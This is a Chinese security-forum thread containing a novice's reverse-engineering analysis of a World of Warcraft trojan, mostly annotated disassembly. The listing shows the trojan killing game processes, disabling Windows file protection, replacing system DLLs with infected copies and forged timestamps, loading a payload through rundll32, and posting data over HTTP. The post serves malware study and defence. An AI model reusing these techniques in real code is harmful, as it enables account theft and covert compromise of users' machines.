吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 23787|回复: 74
收起左侧

[PC样本分析] 一个游戏木马分析

    [复制链接]
cyane 发表于 2011-7-14 21:10
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
本帖最后由 cyane 于 2011-7-14 21:11 编辑

初次分析木马,分析不到的地方,还请不要笑话,若有更好的分析,望大家不吝赐教~
压缩包内文件 virus.exe 为木马文件,请大家注意

virus_2.rar

144.86 KB, 下载次数: 213, 下载积分: 吾爱币 -1 CB

免费评分

参与人数 1威望 +1 收起 理由
roxiel + 1 期待新作

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

Hmily 发表于 2011-7-15 18:56
肿么不贴解压密码哦?

解压密码:52pojie

*******************************************************************************************************************
在这里说明一下,这是第三次分析。因为工作原因,在外面网吧进行的分析,第一次很惨,分析到一大半了,系统更新,结果我点了
个重新启动,结果才发现这系统有DOL魔盘,自动恢复到原来状态了,所有的都没了,第二次还好,保存了部分,结果停电了,无语。
我是第一次分析木马,不知道怎么分析,也就大体看了下别人的分析文章,所以分析不清晰的地方,请凑合看吧。都是OD IDA来分析
,开始想还原成C代码,后来发现很可笑,VM都没搞定呢,再学习学习或许可能有所提高吧。
*******************************************************************************************************************

====================================================================================================================
UPX的壳,很简单
0041DFE3  - E9 A848FEFF     jmp     00402890
在此地址直接F4,然后F8单步,就到了OEP,DUMP保存为virus2.exe即可。
====================================================================================================================

//主文件virus2.exe分析
.text:00402890                 sub     esp, 0C24h
.text:00402896                 push    ebx
.text:00402897                 push    ebp
.text:00402898                 push    esi
.text:00402899                 push    edi
.text:0040289A                 push    offset aBigfoot_exe ; "BigFoot.exe"
.text:0040289F                 call    sub_4011A0                                ;检查进程BigFoot.exe是否存在
.text:004028A4                 mov     edi, ds:TerminateProcess
.text:004028AA                 mov     ebp, ds:OpenProcess
.text:004028B0                 mov     esi, eax
.text:004028B2                 xor     ebx, ebx
.text:004028B4                 add     esp, 4
.text:004028B7                 cmp     esi, ebx                                       
.text:004028B9                 jbe     short loc_4028D0
.text:004028BB                 push    7D0h            ; dwMilliseconds
.text:004028C0                 call    ds:Sleep
.text:004028C6                 push    ebx             ; uExitCode
.text:004028C7                 push    esi             ; dwProcessId
.text:004028C8                 push    ebx             ; bInheritHandle
.text:004028C9                 push    1               ; dwDesiredAccess
.text:004028CB                 call    ebp ; OpenProcess                        ;打开进程对象
.text:004028CD                 push    eax             ; hProcess
.text:004028CE                 call    edi ; TerminateProcess                        ;关闭进程
.text:004028D0
.text:004028D0 loc_4028D0:                             ; CODE XREF: start+29j
.text:004028D0                 push    offset aWow_exe ; "wow.exe"
.text:004028D5                 call    sub_4011A0                                ;检查进程wow.exe是否存在
.text:004028DA                 mov     esi, eax
.text:004028DC                 add     esp, 4
.text:004028DF                 cmp     esi, ebx
.text:004028E1                 jbe     short loc_40290B
.text:004028E3                 push    1388h           ; dwMilliseconds
.text:004028E8                 call    ds:Sleep
.text:004028EE
.text:004028EE loc_4028EE:                             ; CODE XREF: start+79j
.text:004028EE                 push    ebx             ; uExitCode
.text:004028EF                 push    esi             ; dwProcessId
.text:004028F0                 push    ebx             ; bInheritHandle
.text:004028F1                 push    1               ; dwDesiredAccess
.text:004028F3                 call    ebp ; OpenProcess                        ;打开进程对象
.text:004028F5                 push    eax             ; hProcess
.text:004028F6                 call    edi ; TerminateProcess                        ;关闭进程
.text:004028F8                 push    offset aWow_exe ; "wow.exe"
.text:004028FD                 call    sub_4011A0
.text:00402902                 mov     esi, eax
.text:00402904                 add     esp, 4
.text:00402907                 cmp     esi, ebx
.text:00402909                 ja      short loc_4028EE
.text:0040290B
.text:0040290B loc_40290B:                             ; CODE XREF: start+51j
.text:0040290B                 push    0BB8h           ; dwMilliseconds
.text:00402910                 call    ds:Sleep
.text:00402916                 mov     ebp, ds:GetSystemDirectoryA
.text:0040291C                 lea     eax, [esp+0C34h+ExistingFileName]
.text:00402923                 push    104h            ; uSize
.text:00402928                 push    eax             ; lpBuffer
.text:00402929                 call    ebp ; GetSystemDirectoryA                ;获取系统路径
.text:0040292B                 mov     esi, ds:lstrcat
.text:00402931                 lea     ecx, [esp+0C34h+ExistingFileName]
.text:00402938                 push    offset a1016_ocx ; "\\1016.ocx"
.text:0040293D                 push    ecx
.text:0040293E                 call    esi ; lstrcat
.text:00402940                 call    ds:GetTickCount                                ;获取时间t
.text:00402946                 xor     edx, edx
.text:00402948                 add     eax, 1000000h                                ;t=t+0x1000000
.text:0040294D                 mov     [esp+0C34h+var_C23], edx
.text:00402951                 push    eax
.text:00402952                 mov     [esp+0C38h+var_C1F], edx
.text:00402956                 lea     eax, [esp+0C38h+Dest+3]
.text:0040295A                 mov     dword ptr [esp+0C38h+var_C1B], edx
.text:0040295E                 push    offset asc_404168 ; "%x"
.text:00402963                 mov     [esp+0C3Ch+var_C17], edx
.text:00402967                 push    eax             ; Dest
.text:00402968                 mov     [esp+0C40h+var_C13], dx
.text:0040296D                 mov     [esp+0C40h+Dest+3], bl
.text:00402971                 mov     [esp+0C40h+var_C11], dl
.text:00402975                 call    ds:sprintf
.text:0040297B                 add     esp, 0Ch
.text:0040297E                 lea     ecx, [esp+0C34h+Dest+3]
.text:00402982                 push    offset aWuozwtmp_dat ; "wuozwtmp.dat"       
.text:00402987                 push    ecx
.text:00402988                 call    esi ; lstrcat                                ;改变文件名FILE为HEX(t)+"wuozwtmp.dat"
.text:0040298A                 mov     ecx, 40h
.text:0040298F                 xor     eax, eax
.text:00402991                 lea     edi, [esp+0C34h+var_C0F]
.text:00402995                 mov     [esp+0C34h+NewFileName], bl
.text:00402999                 rep stosd
.text:0040299B                 stosw
.text:0040299D                 lea     edx, [esp+0C34h+NewFileName]
.text:004029A1                 push    edx             ; lpBuffer
.text:004029A2                 push    104h            ; nBufferLength
.text:004029A7                 stosb
.text:004029A8                 call    ds:GetTempPathA
.text:004029AE                 lea     eax, [esp+0C34h+Dest+3]
.text:004029B2                 lea     ecx, [esp+0C34h+NewFileName]
.text:004029B6                 push    eax
.text:004029B7                 push    ecx
.text:004029B8                 call    esi ; lstrcat
.text:004029BA                 lea     edx, [esp+0C34h+NewFileName]
.text:004029BE                 push    1               ; dwFlags
.text:004029C0                 lea     eax, [esp+0C38h+ExistingFileName]
.text:004029C7                 push    edx             ; lpNewFileName
.text:004029C8                 push    eax             ; lpExistingFileName
.text:004029C9                 call    ds:MoveFileExA                                ;创建临时文件FILE
.text:004029CF                 lea     ecx, [esp+0C34h+ExistingFileName]
.text:004029D6                 push    ecx             ; lpFileName
.text:004029D7                 push    6Ch             ; int
.text:004029D9                 call    sub_401000                                ;创建X:\WINDOWS\System32\1016.ocx
.text:004029DE                 add     esp, 8
.text:004029E1                 test    eax, eax
.text:004029E3                 jz      loc_402B5C
.text:004029E9                 push    offset aWinwcolw_ocx ; "WinWcolw.ocx"
.text:004029EE                 push    offset dword_404194
.text:004029F3                 call    ds:lstrcpy
.text:004029F9                 mov     ecx, 100h
.text:004029FE                 xor     eax, eax
.text:00402A00                 lea     edi, [esp+0C34h+ExistingFileName]
.text:00402A07                 lea     edx, [esp+0C34h+ExistingFileName]
.text:00402A0E                 push    104h            ; uSize
.text:00402A13                 push    edx             ; lpBuffer
.text:00402A14                 rep stosd
.text:00402A16                 call    ebp ; GetSystemDirectoryA
.text:00402A18                 lea     eax, [esp+0C34h+ExistingFileName]
.text:00402A1F                 push    offset asc_404090 ; "\\"
.text:00402A24                 push    eax
.text:00402A25                 call    esi ; lstrcat
.text:00402A27                 lea     ecx, [esp+0C34h+ExistingFileName]
.text:00402A2E                 push    offset dword_404194
.text:00402A33                 push    ecx
.text:00402A34                 call    esi ; lstrcat
.text:00402A36                 lea     edx, [esp+0C34h+ExistingFileName]
.text:00402A3D                 push    edx             ; lpFileName
.text:00402A3E                 push    6Ah             ; int
.text:00402A40                 call    sub_401000                                ;创建X:\WINDOWS\System32\WinWcolw.ocx
.text:00402A45                 add     esp, 8
.text:00402A48                 test    eax, eax
.text:00402A4A                 jz      loc_402B5C
.text:00402A50                 lea     eax, [esp+0C34h+ExistingFileName]
.text:00402A57                 push    eax             ; lpFileName
.text:00402A58                 call    sub_4010D0                               
//;插入数据[12EE8C~12F386]到X:\WINDOWS\System32\WinWcolw.ocx
.text:00402A5D                 add     esp, 4
.text:00402A60                 call    sub_402670

//进入CALL 402670主要有两部分函数体
//以dsound.dll为例说明
//第一部分CALL 401600、CALL 401DC0,功能如下
/*
读取X:\WINDOWS\System32\dsound.dll前64字节 就是文件头
移动指针FILE_BEGIN 272位置,读取4个字节
移动指针FILE_BEGIN 236位置,读取20个字节
移动指针FILE_BEGIN 480位置,读取40个字节,[PE节信息]
循环读取区段信息,循环比较区段名称没有.data2返回0,否则返回1
将X:\WINDOWS\System32\dsound.dll拷贝到X:\WINDOWS\System32\New.dll
打开X:\WINDOWS\System32\dsound.dll
移动指针FILE_BEGIN 60位置,读取4个字节
移动指针FILE_BEGIN 232位置,读取248个字节
移动指针FILE_BEGIN 480位置,读取248个字节
循环读取区段信息
打开X:\WINDOWS\System32\New.dll
移动指针FILE_END 0位置,写入52个字节
依次写入几个字节,然后写入0x1000~0x1028 40个数据信息
移动指针FILE_BEGIN 640位置,写入40个字节,就是.data2的区段信息
移动指针FILE_BEGIN 232位置,写入248个字节
移动指针FILE_END 0位置,写入1个字节,就是标志1
创建文件X:\WINDOWS\System32\dsound.dll.x[x是开机后的时间]
装载库文件sfc_os.dll并调用其5号函数,用以解除系统文件保护功能,然后释放
将X:\WINDOWS\System32\dsound.dll拷贝为X:\WINDOWS\System32\dsound.dll.x
将X:\WINDOWS\System32\New.dll拷贝为X:\WINDOWS\System32\dsound.dll,来做了个替换
再替换X:\WINDOWS\System32\dsound.dll文件的创建时间、最后修改时间、最后访问时间
*/
//第二部分CALL 4017B0、CALL 401960功能基本与第一部分相同,差异在CALL 401960中有对IMAGE_DOS_HEADER头的检测
//还有ddraw.dll、comres.dll、ksuser.dll、olepro32.dll与上部分处理时相同的,故这里不再复数

.text:00402A65                 lea     ecx, [esp+0C34h+FileName]
.text:00402A6C                 push    104h            ; uSize
.text:00402A71                 push    ecx             ; lpBuffer
.text:00402A72                 call    ebp ; GetSystemDirectoryA
.text:00402A74                 lea     edx, [esp+0C34h+FileName]
.text:00402A7B                 push    offset aFont01_dll ; "\\font01.dll"
.text:00402A80                 push    edx
.text:00402A81                 call    esi ; lstrcat
.text:00402A83                 lea     eax, [esp+0C34h+FileName]
.text:00402A8A                 push    eax             ; lpFileName
.text:00402A8B                 push    6Eh             ; int
.text:00402A8D                 call    sub_401000                                ;创建X:\WINDOWS\System32\       
.text:00402A92                 add     esp, 8
.text:00402A95                 test    eax, eax
.text:00402A97                 jz      loc_402B5C
.text:00402A9D                 mov     ecx, 40h
.text:00402AA2                 xor     eax, eax
.text:00402AA4                 lea     edi, [esp+0C34h+var_B0B]
.text:00402AAB                 mov     [esp+0C34h+var_B0C], bl
.text:00402AB2                 rep stosd
.text:00402AB4                 stosw
.text:00402AB6                 lea     ecx, [esp+0C34h+var_B0C]
.text:00402ABD                 push    104h            ; uSize
.text:00402AC2                 push    ecx             ; lpBuffer
.text:00402AC3                 stosb
.text:00402AC4                 call    ebp ; GetSystemDirectoryA
.text:00402AC6                 lea     edx, [esp+0C34h+var_B0C]
.text:00402ACD                 push    offset aRundll32_exe ; "\\rundll32.exe"
.text:00402AD2                 push    edx
.text:00402AD3                 call    esi ; lstrcat
.text:00402AD5                 mov     ecx, 40h
.text:00402ADA                 xor     eax, eax
.text:00402ADC                 lea     edi, [esp+0C34h+var_903]
.text:00402AE3                 mov     [esp+0C34h+Filename], bl
.text:00402AEA                 rep stosd
.text:00402AEC                 stosw
.text:00402AEE                 stosb
.text:00402AEF                 lea     eax, [esp+0C34h+Filename]
.text:00402AF6                 push    104h            ; nSize
.text:00402AFB                 push    eax             ; lpFilename
.text:00402AFC                 push    ebx             ; hModule
.text:00402AFD                 call    ds:GetModuleFileNameA
.text:00402B03                 mov     ecx, 40h
.text:00402B08                 xor     eax, eax
.text:00402B0A                 lea     edi, [esp+0C34h+var_A07]
.text:00402B11                 mov     [esp+0C34h+CmdLine], bl
.text:00402B18                 rep stosd
.text:00402B1A                 stosw
.text:00402B1C                 push    offset aFuck121 ; "fuck121"
.text:00402B21                 lea     ecx, [esp+0C38h+FileName]
.text:00402B28                 push    offset aCheckime ; "CheckIME"
.text:00402B2D                 lea     edx, [esp+0C3Ch+var_B0C]
.text:00402B34                 stosb
.text:00402B35                 push    ecx
.text:00402B36                 push    edx
.text:00402B37                 lea     eax, [esp+0C44h+CmdLine]
.text:00402B3E                 push    offset aCmdCSSSS ; "cmd /c %s %s,%s %s"
.text:00402B43                 push    eax             ; LPSTR
.text:00402B44                 call    ds:wsprintfA               
               
//生成命令行"cmd /c C:\WINDOWS\system32\rundll32.exe C:\WINDOWS\system32\font01.dll,CheckIME fuck121

.text:00402B4A                 add     esp, 18h
.text:00402B4D                 lea     ecx, [esp+0C34h+CmdLine]
.text:00402B54                 push    ebx             ; uCmdShow
.text:00402B55                 push    ecx             ; lpCmdLine
.text:00402B56                 call    ds:WinExec                                ;执行命令行
.text:00402B5C       
.text:00402B5C loc_402B5C:                             ; CODE XREF: start+153j
.text:00402B5C                                         ; start+1BAj ...
.text:00402B5C                 call    sub_401230                                ;创建临时文件wowhm01.bat,并执行
.text:00402B61                 pop     edi
.text:00402B62                 pop     esi
.text:00402B63                 pop     ebp
.text:00402B64                 xor     eax, eax
.text:00402B66                 pop     ebx
.text:00402B67                 add     esp, 0C24h
.text:00402B6D                 retn    10h
.text:00402B6D start           endp

=================================================--1016.ocx分析=====================================================

//1016.ocx分析
.text:10001530
.text:10001530                 sub     esp, 814h
.text:10001536                 lea     eax, [esp+814h+String]
.text:1000153A                 push    esi
.text:1000153B                 push    800h            ; nSize
.text:10001540                 push    eax             ; lpFilename
.text:10001541                 push    0               ; hModule
.text:10001543                 call    ds:GetModuleFileNameA                        ;获取当前文件完整路径
.text:10001549                 lea     ecx, [esp+818h+String1]
.text:1000154D                 lea     edx, [esp+818h+String]
.text:10001551                 push    ecx             ; lpString1
.text:10001552                 push    edx             ; lpString
.text:10001553                 call    sub_100014F0                                ;获取文件名
.text:10001558                 mov     esi, ds:lstrcmpiA
.text:1000155E                 add     esp, 8
.text:10001561                 lea     eax, [esp+818h+String1]
.text:10001565                 push    offset String2  ; "Wow.exe"
.text:1000156A                 push    eax             ; lpString1
.text:1000156B                 call    esi ; lstrcmpiA                                ;
.text:1000156D                 test    eax, eax
.text:1000156F                 jz      short loc_10001581
.text:10001571                 lea     ecx, [esp+818h+String1]
.text:10001575                 push    offset String2  ; "Wow.exe"
.text:1000157A                 push    ecx             ; lpString1
.text:1000157B                 call    esi ; lstrcmpiA                                ;比较是否是wow.exe
.text:1000157D                 test    eax, eax
.text:1000157F                 jnz     short loc_10001586
.text:10001581
.text:10001581 loc_10001581:                           ; CODE XREF: sub_10001530+3Fj
.text:10001581                 call    sub_100015D0                                ;
.text:10001586
.text:10001586 loc_10001586:                           ; CODE XREF: sub_10001530+4Fj
.text:10001586                 pop     esi
.text:10001587                 add     esp, 814h
.text:1000158D                 retn
.text:1000158D sub_10001530    endp

//分析一下CALL100015D0

.text:100015D0
.text:100015D0                 sub     esp, 104h
.text:100015D6                 push    ebx
.text:100015D7                 push    ebp
.text:100015D8                 push    esi
.text:100015D9                 push    edi
.text:100015DA                 mov     ecx, 40h
.text:100015DF                 xor     eax, eax
.text:100015E1                 lea     edi, [esp+114h+var_103]
.text:100015E5                 mov     [esp+114h+OutputString], 0
.text:100015EA                 rep stosd
.text:100015EC                 stosw
.text:100015EE                 stosb
.text:100015EF                 mov     ecx, 41h
.text:100015F4                 xor     eax, eax
.text:100015F6                 lea     edi, [esp+114h+OutputString]
.text:100015FA                 push    104h            ; uSize
.text:100015FF                 rep stosd
.text:10001601                 lea     eax, [esp+118h+OutputString]
.text:10001605                 push    eax             ; lpBuffer
.text:10001606                 call    ds:GetSystemDirectoryA
.text:1000160C                 lea     ecx, [esp+114h+OutputString]
.text:10001610                 push    offset aWinwcolw_ocx ; "\\WinWcolw.ocx"
.text:10001615                 push    ecx             ; lpString1
.text:10001616                 call    ds:lstrcatA
.text:1000161C                 mov     ebp, ds:OutputDebugStringA               
.text:10001622                 lea     edx, [esp+114h+OutputString]
.text:10001626                 push    edx             ; lpOutputString
.text:10001627                 call    ebp ; OutputDebugStringA                        ;得到X:\WINDOWS\System32\WinWcolw.ocx
.text:10001629                 lea     eax, [esp+114h+OutputString]
.text:1000162D                 push    offset Mode     ; "rb"
.text:10001632                 push    eax             ; Filename
.text:10001633                 call    ds:fopen
.text:10001639                 mov     edi, ds:fseek
.text:1000163F                 mov     esi, eax
.text:10001641                 push    2               ; Origin
.text:10001643                 push    0               ; Offset
.text:10001645                 push    esi             ; File
.text:10001646                 call    edi ; fseek
.text:10001648                 push    esi             ; File
.text:10001649                 call    ds:ftell
.text:1000164F                 push    0               ; Origin
.text:10001651                 push    0               ; Offset
.text:10001653                 push    esi             ; File
.text:10001654                 mov     ebx, eax
.text:10001656                 call    edi ; fseek
.text:10001658                 push    ebx             ; unsigned int
.text:10001659                 call    ??2@YAPAXI@Z    ; operator new(uint)
.text:1000165E                 add     esp, 28h
.text:10001661                 mov     edi, eax
.text:10001663                 test    esi, esi
.text:10001665                 jz      short loc_100016C4
.text:10001667                 push    esi             ; File
.text:10001668                 push    ebx             ; Count
.text:10001669                 push    1               ; ElementSize
.text:1000166B                 push    edi             ; DstBuf
.text:1000166C                 call    ds:fread                                        ;读取WinWcolw.ocx文件数据
.text:10001672                 add     esp, 10h
.text:10001675                 mov     ecx, offset unk_10003040
.text:1000167A                 push    eax             ; flOldProtect
.text:1000167B                 push    edi             ; int
.text:1000167C                 call    sub_10001040       

//CALL 10001040分析
/*
CALL 100012F0->检查WinWcolw.ocx是否正常,大小、e_magic、e_lfanew等,正常返回1,否则返回0
CALL 100013D0->检查"PE",然后加载WinWcolw.ocx,加载成功返回1,否则返回0
伪C码
    if(NumberOfSections > 0)
        size = VirtualAddress+(VirtualSize > SizeOfRawData ? SizeOfRawData : VirtualSize)
    VirtualAlloc(NULL, size, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    LoadLibrary(KERNEL32.dll)->加载函数
    VirtualFree
*/

.text:10001681                 test    eax, eax
.text:10001683                 jnz     short loc_100016A2
.text:10001685                 push    edi             ; void *
.text:10001686                 call    ??3@YAXPAX@Z    ; operator delete(void *)
.text:1000168B                 add     esp, 4
.text:1000168E                 push    offset OutputString ; "LOAD-FAIL!"       
.text:10001693                 call    ebp ; OutputDebugStringA                        ;显示加载失败
.text:10001695                 pop     edi
.text:10001696                 pop     esi
.text:10001697                 pop     ebp
.text:10001698                 xor     eax, eax
.text:1000169A                 pop     ebx
.text:1000169B                 add     esp, 104h
.text:100016A1                 retn
.text:100016A2 ; ---------------------------------------------------------------------------
.text:100016A2
.text:100016A2 loc_100016A2:                           ; CODE XREF: sub_100015D0+B3j
.text:100016A2                 push    offset aLoadOkgb ; "LOAD-OK!"
.text:100016A7                 call    ebp ; OutputDebugStringA                        ;显示加载成功
.text:100016A9                 push    esi             ; File
.text:100016AA                 call    ds:fclose                                ;关闭文件句柄
.text:100016B0                 push    edi             ; void *
.text:100016B1                 call    ??3@YAXPAX@Z    ; operator delete(void *)
.text:100016B6                 add     esp, 8
.text:100016B9                 pop     edi
.text:100016BA                 pop     esi
.text:100016BB                 pop     ebp
.text:100016BC                 pop     ebx
.text:100016BD                 add     esp, 104h
.text:100016C3                 retn
.text:100016C4 ; ---------------------------------------------------------------------------
.text:100016C4
.text:100016C4 loc_100016C4:                           ; CODE XREF: sub_100015D0+95j
.text:100016C4                 push    edi             ; void *
.text:100016C5                 call    ??3@YAXPAX@Z    ; operator delete(void *)
.text:100016CA                 add     esp, 4
.text:100016CD                 or      eax, 0FFFFFFFFh
.text:100016D0                 pop     edi
.text:100016D1                 pop     esi
.text:100016D2                 pop     ebp
.text:100016D3                 pop     ebx
.text:100016D4                 add     esp, 104h
.text:100016DA                 retn
.text:100016DA sub_100015D0    endp

====================================================================================================================
===============================================WinWcolw.ocx分析=====================================================

.text:10007890                 sub     esp, 838h
.text:10007896                 lea     eax, [esp+838h+String]
.text:1000789A                 push    esi
.text:1000789B                 push    edi
.text:1000789C                 push    800h            ; nSize
.text:100078A1                 push    eax             ; lpFilename
.text:100078A2                 push    0               ; hModule
.text:100078A4                 call    ds:GetModuleFileNameA                        ;获取程序完整路径
.text:100078AA                 lea     ecx, [esp+840h+String1]
.text:100078AE                 lea     edx, [esp+840h+String]
.text:100078B2                 push    ecx             ; lpString1
.text:100078B3                 push    edx             ; lpString
.text:100078B4                 call    sub_10007060                                ;获取程序名
.text:100078B9                 mov     esi, ds:lstrcmpiA       
.text:100078BF                 add     esp, 8
.text:100078C2                 lea     eax, [esp+840h+String1]
.text:100078C6                 push    offset aWow_exe ; "wow.exe"
.text:100078CB                 push    eax             ; lpString1
.text:100078CC                 call    esi ; lstrcmpiA                                ;是否是wow.exe
.text:100078CE                 test    eax, eax
.text:100078D0                 jnz     loc_100079B9
.text:100078D6                 call    ds:GetCurrentProcessId                        ;获取pid
.text:100078DC                 mov     edx, eax
.text:100078DE                 mov     ecx, 8
.text:100078E3                 xor     eax, eax
.text:100078E5                 lea     edi, [esp+840h+Name]
.text:100078E9                 rep stosd
.text:100078EB                 push    edx
.text:100078EC                 lea     ecx, [esp+844h+Name]
.text:100078F0                 push    offset Format   ; "%x"
.text:100078F5                 push    ecx             ; Dest
.text:100078F6                 call    ds:sprintf
.text:100078FC                 add     esp, 0Ch
.text:100078FF                 lea     edx, [esp+840h+Name]
.text:10007903                 push    offset aWow_exe ; "wow.exe"
.text:10007908                 push    edx             ; lpString1
.text:10007909                 call    ds:lstrcatA                                ;pid+wow.exe
.text:1000790F                 lea     eax, [esp+840h+Name]
.text:10007913                 push    eax             ; lpName
.text:10007914                 push    0               ; bInitialOwner
.text:10007916                 push    0               ; lpMutexAttributes
.text:10007918                 call    ds:CreateMutexA                                ;创建互斥对象
.text:1000791E                 mov     esi, eax
.text:10007920                 call    sub_100072E0                                ;                       
.text:10007925                 call    ds:GetLastError
.text:1000792B                 cmp     eax, 0B7h
.text:10007930                 jnz     short loc_10007942
.text:10007932                 push    esi             ; hObject
.text:10007933                 call    ds:CloseHandle
.text:10007939                 pop     edi
.text:1000793A                 pop     esi
.text:1000793B                 add     esp, 838h
.text:10007941                 retn
.text:10007942 ; ---------------------------------------------------------------------------
.text:10007942
.text:10007942 loc_10007942:                           ; CODE XREF: sub_10007890+A0j
.text:10007942                 lea     ecx, [esp+840h+String]
.text:10007946                 push    offset byte_1000DB1C ; lpString1
.text:1000794B                 push    ecx             ; lpString2
.text:1000794C                 call    sub_100070A0
.text:10007951                 add     esp, 8
.text:10007954                 mov     esi, ds:CreateThread
.text:1000795A                 lea     edx, [esp+840h+ThreadId]
.text:1000795E                 push    edx             ; lpThreadId
.text:1000795F                 push    0               ; dwCreationFlags
.text:10007961                 push    0               ; lpParameter
.text:10007963                 push    offset sub_100073A0 ; lpStartAddress
.text:10007968                 push    0               ; dwStackSize
.text:1000796A                 push    0               ; lpThreadAttributes
.text:1000796C                 call    esi ; CreateThread                        ;创建线程1
.text:1000796E                 mov     edi, ds:CloseHandle
.text:10007974                 push    eax             ; hObject
.text:10007975                 call    edi ; CloseHandle
.text:10007977                 push    0               ; lpThreadId
.text:10007979                 push    0               ; dwCreationFlags
.text:1000797B                 push    0               ; lpParameter
.text:1000797D                 push    offset sub_10001AC0 ; lpStartAddress
.text:10007982                 push    0               ; dwStackSize
.text:10007984                 push    0               ; lpThreadAttributes
.text:10007986                 call    esi ; CreateThread                        ;创建线程2
.text:10007988                 push    0               ; lpThreadId
.text:1000798A                 push    0               ; dwCreationFlags
.text:1000798C                 push    0               ; lpParameter
.text:1000798E                 push    offset sub_10006BD0 ; lpStartAddress
.text:10007993                 push    0               ; dwStackSize
.text:10007995                 push    0               ; lpThreadAttributes
.text:10007997                 call    esi ; CreateThread                        ;创建线程3
.text:10007999                 lea     eax, [esp+840h+ThreadId]
.text:1000799D                 push    eax             ; lpThreadId
.text:1000799E                 push    0               ; dwCreationFlags
.text:100079A0                 push    0               ; lpParameter
.text:100079A2                 push    offset sub_10004240 ; lpStartAddress
.text:100079A7                 push    0               ; dwStackSize
.text:100079A9                 push    0               ; lpThreadAttributes
.text:100079AB                 call    esi ; CreateThread                        ;创建线程4
.text:100079AD                 push    eax             ; hObject
.text:100079AE                 call    edi ; CloseHandle
.text:100079B0                 pop     edi
.text:100079B1                 pop     esi
.text:100079B2                 add     esp, 838h
.text:100079B8                 retn
.text:100079B9 ; ---------------------------------------------------------------------------
.text:100079B9
.text:100079B9 loc_100079B9:                           ; CODE XREF: sub_10007890+40j
.text:100079B9                 lea     ecx, [esp+840h+String1]
.text:100079BD                 push    offset aBigfoot_exe ; "BigFoot.exe"
.text:100079C2                 push    ecx             ; lpString1
.text:100079C3                 call    esi ; lstrcmpiA                                ;是否是BigFoot.exe       
.text:100079C5                 test    eax, eax
.text:100079C7                 jnz     loc_10007A50
.text:100079CD                 call    ds:GetCurrentProcessId                        ;获取pid
.text:100079D3                 mov     edx, eax
.text:100079D5                 mov     ecx, 8
.text:100079DA                 push    edx
.text:100079DB                 xor     eax, eax
.text:100079DD                 lea     edi, [esp+844h+Name]
.text:100079E1                 lea     edx, [esp+844h+Name]
.text:100079E5                 push    offset Format   ; "%x"
.text:100079EA                 push    edx             ; Dest
.text:100079EB                 rep stosd
.text:100079ED                 call    ds:sprintf
.text:100079F3                 add     esp, 0Ch
.text:100079F6                 lea     eax, [esp+840h+Name]
.text:100079FA                 push    offset aBigfoot_exe ; "BigFoot.exe"
.text:100079FF                 push    eax             ; lpString1
.text:10007A00                 call    ds:lstrcatA                                ;pid+BigFoot.exe
.text:10007A06                 lea     ecx, [esp+840h+Name]
.text:10007A0A                 push    ecx             ; lpName
.text:10007A0B                 push    0               ; bInitialOwner
.text:10007A0D                 push    0               ; lpMutexAttributes
.text:10007A0F                 call    ds:CreateMutexA                                ;创建互斥对象
.text:10007A15                 mov     esi, eax
.text:10007A17                 call    sub_100072E0
.text:10007A1C                 call    ds:GetLastError
.text:10007A22                 cmp     eax, 0B7h
.text:10007A27                 jnz     short loc_10007A39
.text:10007A29                 push    esi             ; hObject
.text:10007A2A                 call    ds:CloseHandle
.text:10007A30                 pop     edi
.text:10007A31                 pop     esi
.text:10007A32                 add     esp, 838h
.text:10007A38                 retn
.text:10007A39 ; ---------------------------------------------------------------------------
.text:10007A39
.text:10007A39 loc_10007A39:                           ; CODE XREF: sub_10007890+197j
.text:10007A39                 lea     edx, [esp+840h+String]
.text:10007A3D                 push    offset byte_1000DB1C ; lpString1
.text:10007A42                 push    edx             ; lpString2
.text:10007A43                 call    sub_100070A0
.text:10007A48                 add     esp, 8
.text:10007A4B                 call    sub_100072F0                               
//读入验证数据[0x450000~0x450006]进行判断,正确时,输出"BigFoot-ok",然后设置页面属性。
.text:10007A50
.text:10007A50 loc_10007A50:                           ; CODE XREF: sub_10007890+137j
.text:10007A50                 pop     edi
.text:10007A51                 pop     esi
.text:10007A52                 add     esp, 838h
.text:10007A58                 retn
.text:10007A58 sub_10007890    endp

第一个线程 设置页面属性,修改程序数据
第二个线程 处理网络数据POST操作
Wininet.dll
InternetOpenA
InternetOpenUrlA
InternetConnectA
HttpOpenRequestA
HttpSendRequestA
HttpQueryInfoA
InternetReadFile
InternetWriteFile
InternetQueryDataAvailable
InternetCloseHandle
第三个进程 处理网络数据POST操作
第四个进程VM过,水平有限,没有跟,跟也跟不出。
部分信息可参照网络的其他分析
http://www.shaduruanjian8.com/20110624_winwcolw-ocx
水平有限,就到此了~



头像被屏蔽
Garrison 发表于 2011-7-15 20:08
ai流星羽 发表于 2011-7-15 20:30
yqqpp 发表于 2011-7-15 20:39
我也是感觉拉浏览器都在卡
执著 发表于 2011-7-15 20:43
回复 cyane 的帖子

学习了
狐狸爱葡萄 发表于 2011-7-15 20:44
额,感谢分享,学习了……
vistamm 发表于 2011-7-15 21:23
看一下这个游戏木马楼主分析
xiaoyedeng 发表于 2011-7-15 21:34
感谢分享,学习了
coolerhqw 发表于 2011-7-15 21:54
跟我完全不是同一个级数的,完全看不明。
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-24 14:01

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表